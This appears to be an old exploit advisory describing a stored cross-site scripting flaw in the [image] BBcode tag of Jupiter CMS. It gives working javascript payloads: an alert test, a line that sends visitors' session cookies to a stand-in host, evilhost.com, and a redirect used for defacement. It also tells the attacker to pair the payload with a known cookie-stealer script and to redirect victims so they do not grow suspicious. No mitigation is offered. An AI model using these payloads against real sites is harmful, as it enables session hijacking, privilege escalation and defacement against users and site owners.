Jupiter CMS (http://www.highstrike.net/) is a dynamic CMS system like mambo or limbo, allowing users
to subscribe and posts events. Because no filtering is done upon [image] BBcode input, any user is
capable of inserting arbitrary javascript code, allowing for credential theft leading/session
hijacking and possibly site defacement.

Examples:

This would make a messagebox pop up saying 'XSS', whenever the events get loaded (on the main page,
calender,etc): [image=javascript:alert('XSS')]

This would allow an attacker to steal session ID's, which he could insert into his own cookie to
hijack sessions and elevate his/her privileges:

[image=javascript:window.navigate('http://www.evilhost.com/cookiestealer.php?c='+document.cookie)]

It would be used with SjaakRake's cookie stealer (http://www.milw0rm.com/exploits/1103), with maybe
the addition of a header("location: ".&lt;anythinghere&gt;), to redirect the user to a page of your choice,
to avoid suspicion and disclosure of your cookiestealer's location.

This injections would allow an attacker to redirect users to a page of his choice, effectively
defacing the page:

[image=javascript:window.navigate('http://www.evilhost.com/pwned.html')]

As you can see the possibilities are limitless, as long as you have a bit of fantasy!
